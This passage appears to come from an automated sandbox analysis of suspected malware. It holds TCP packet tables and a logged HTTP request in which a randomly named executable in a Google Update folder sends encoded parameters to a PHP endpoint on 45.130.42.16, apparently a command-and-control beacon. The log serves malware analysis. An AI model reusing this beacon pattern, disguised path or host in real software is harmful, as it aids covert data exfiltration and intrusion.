Apr 23, 2024 22:42:04.700980902 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700990915 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700994015 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701004982 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701014996 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701019049 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701030016 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701036930 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701041937 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701054096 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701061010 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701066017 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701080084 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701088905 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701092958 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701112986 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701143980 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701184034 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701198101 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701209068 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701220989 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701229095 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701232910 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701245070 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701256990 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701261044 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701270103 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701282978 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701294899 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701307058 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701314926 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701314926 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701318026 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701330900 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701348066 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701354027 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701359987 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701370955 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701381922 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701395988 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701397896 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701407909 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701410055 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701419115 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.701442003 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701463938 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.701653957 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.733896971 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.734113932 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.734349012 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.996871948 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.095524073 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.095601082 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.095613003 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.095619917 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.095626116 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.095638037 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.095649958 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.095662117 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.095673084 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.095683098 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.095827103 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.095828056 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.358309031 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358326912 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358339071 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358352900 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358521938 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358525991 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.358536005 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358526945 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.358547926 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358555079 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358567953 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358581066 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358593941 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358606100 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358616114 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.358618021 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358630896 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358643055 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358654022 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358661890 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.358666897 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358680010 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358686924 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.358691931 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358707905 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.358712912 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.358753920 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.358828068 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621212959 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621231079 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621237993 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621249914 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621258020 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621264935 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621421099 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621433973 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621439934 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621447086 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621454000 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621459961 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621467113 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621474981 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621500969 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621500969 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621587992 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621602058 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621613979 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621625900 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621639013 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621644974 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621659040 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621673107 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621675968 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621675968 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621685982 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621699095 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621702909 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621711016 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621723890 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621735096 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621740103 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621747971 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621762037 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621762991 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621777058 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621788025 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621788979 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621794939 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621808052 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621819973 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621824026 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621828079 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621840000 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621844053 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621854067 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621867895 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621881008 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621886969 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621893883 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.621916056 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621916056 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.621998072 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.622257948 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.884605885 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884623051 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884670019 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884681940 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884692907 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884704113 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884715080 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884720087 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.884809017 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.884809971 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884809017 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.884823084 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884829998 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884835958 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884845018 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884855986 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884865999 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884876013 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884885073 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.884886980 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884898901 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884910107 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884916067 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884917021 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.884927034 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884939909 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884949923 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884954929 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.884960890 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884973049 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884978056 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.884984016 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.884994984 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885001898 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885008097 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885020018 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885029078 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885030985 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885044098 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885049105 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885056019 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885066986 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885092020 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885097027 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885109901 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885114908 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885123014 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885133028 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885143995 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885154009 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885181904 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885212898 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885258913 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885272026 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885284901 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885289907 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885299921 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885312080 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885313988 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885318041 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885332108 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885340929 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885343075 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885354996 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885365009 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885375023 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885381937 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885386944 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885397911 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885405064 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885411024 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885421991 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885426998 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885432959 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885446072 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885448933 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885489941 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885525942 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885548115 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885559082 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885570049 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885581970 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885592937 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885602951 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885606050 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885616064 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885624886 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885627985 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885639906 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885643005 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885647058 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885659933 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885672092 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885683060 CEST	80	49731	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:05.885687113 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885709047 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885725021 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:05.885761023 CEST	49731	80	192.168.2.4	45.130.42.16

HTTP Request Dependency Graph

45.130.42.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	45.130.42.16	80	6376	C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 22:42:03.544604063 CEST	600	OUT	GET /6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z&223505adc80271978c1edbb4eca1c18c=d7a9900f45d34dd9122c7526d5dd4ee1&550e331da9a15a3997b38874465fab05=gNjdzMlNWOwgDOiljZ5kDZ3UjNhZmZjlzMlJmNkBTOkFWM3YjNihDZ&MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z HTTP/1.1 Accept: / Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 45.130.42.16 Connection: Keep-Alive
Apr 23, 2024 22:42:03.940936089 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 23 Apr 2024 20:42:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 177375 Connection: keep-alive P3P: policyref="/bitrix/p3p.xml", CP="NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA" X-Powered-CMS: Bitrix Site Manager (3cb6b699f91fcd1677ea8a5f7bcf940b) Set-Cookie: PHPSESSID=0joeWo8FC3UGG5G1KO2ZvI0cw6MJJJdg; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: BITRIX_SM_GUEST_ID=2289526; expires=Fri, 18-Apr-2025 20:42:03 GMT; Max-Age=31104000; path=/ Set-Cookie: BITRIX_SM_LAST_VISIT=23.04.2024%2023%3A42%3A03; expires=Fri, 18-Apr-2025 20:42:03 GMT; Max-Age=31104000; path=/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 b6 d0 b5 d0 bd d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d0 bc d1 83 d0 b6 d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 81 d0 bf d0 be d1 80 d1 82 d0 b8 d0 b2 d0 bd d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 82 d0 b0 d0 bf d0 be d1 87 d0 ba d0 b8 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 9c d1 8b 20 d0 bf d1 80 d0 b5 d0 b4 d0 bb d0 b0 d0 b3 d0 b0 d0 b5 d0 bc 20 d1 88 d0 b8 d1 80 d0 be d0 ba d0 b8 d0 b9 20 d0 b0 d1 81 d1 81 d0 be d1 80 d1 82 d0 b8 d0 bc d0 b5 d0 bd d1 82 20 d0 ba d0 b0 d1 87 Data Ascii: <!DOCTYPE html><html lang="ru"><head> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="keywords" content=" , , , " /><meta name="description" content="
Apr 23, 2024 22:42:03.940957069 CEST	1289	IN	Data Raw: d0 b5 d1 81 d1 82 d0 b2 d0 b5 d0 bd d0 bd d0 be d0 b9 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d1 8b 20 d0 bf d0 be 20 d0 b0 d0 b4 d0 b5 d0 ba d0 b2 d0 b0 d1 82 d0 bd d1 8b d0 bc 20 d1 86 d0 b5 d0 bd d0 b0 d0 bc 2e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 Data Ascii: ." /><link href="/bitrix/js/ui/design-tokens/dist/ui.design-tokens.min.css?169683975822029" type="text/css" rel="stylesheet" /><link href="/bitrix/js/ui/fonts/opensans/ui.f
Apr 23, 2024 22:42:03.940968037 CEST	1289	IN	Data Raw: 5f 57 49 4e 44 4f 57 5f 4e 41 52 52 4f 57 27 3a 27 d0 a1 d0 b2 d0 b5 d1 80 d0 bd d1 83 d1 82 d1 8c 20 d0 b2 20 d0 be d0 ba d0 bd d0 be 27 2c 27 4a 53 5f 43 4f 52 45 5f 57 49 4e 44 4f 57 5f 53 41 56 45 27 3a 27 d0 a1 d0 be d1 85 d1 80 d0 b0 d0 bd Data Ascii: _WINDOW_NARROW':' ','JS_CORE_WINDOW_SAVE':'','JS_CORE_WINDOW_CANCEL':'','JS_CORE_WINDOW_CONTINUE':'','JS_CORE_H':'','JS_CORE_M':'','JS_CORE_S':'','JSADM_AI_
Apr 23, 2024 22:42:03.940982103 CEST	1289	IN	Data Raw: 73 2f 6d 61 69 6e 2f 70 6f 6c 79 66 69 6c 6c 2f 69 6e 74 65 72 73 65 63 74 69 6f 6e 6f 62 73 65 72 76 65 72 2f 6a 73 2f 69 6e 74 65 72 73 65 63 74 69 6f 6e 6f 62 73 65 72 76 65 72 2e 6a 73 27 2c 27 2f 62 69 74 72 69 78 2f 6a 73 2f 6d 61 69 6e 2f Data Ascii: s/main/polyfill/intersectionobserver/js/intersectionobserver.js','/bitrix/js/main/lazyload/dist/lazyload.bundle.js','/bitrix/js/main/polyfill/core/dist/polyfill.bundle.js','/bitrix/js/main/parambag/dist/parambag.bundle.js']);</script><script
Apr 23, 2024 22:42:03.940998077 CEST	1289	IN	Data Raw: 44 44 2e 4d 4d 2e 59 59 59 59 20 48 48 3a 4d 49 3a 53 53 27 2c 27 43 4f 4f 4b 49 45 5f 50 52 45 46 49 58 27 3a 27 42 49 54 52 49 58 5f 53 4d 27 2c 27 53 45 52 56 45 52 5f 54 5a 5f 4f 46 46 53 45 54 27 3a 27 31 30 38 30 30 27 2c 27 55 54 46 5f 4d Data Ascii: DD.MM.YYYY HH:MI:SS','COOKIE_PREFIX':'BITRIX_SM','SERVER_TZ_OFFSET':'10800','UTF_MODE':'Y','SITE_ID':'s1','SITE_DIR':'/','USER_ID':'','SERVER_TIME':'1713904923','USER_TZ_OFFSET':'0','USER_TZ_AUTO':'Y','bitrix_sessid':'484ed3893525c69b6ae4846ae
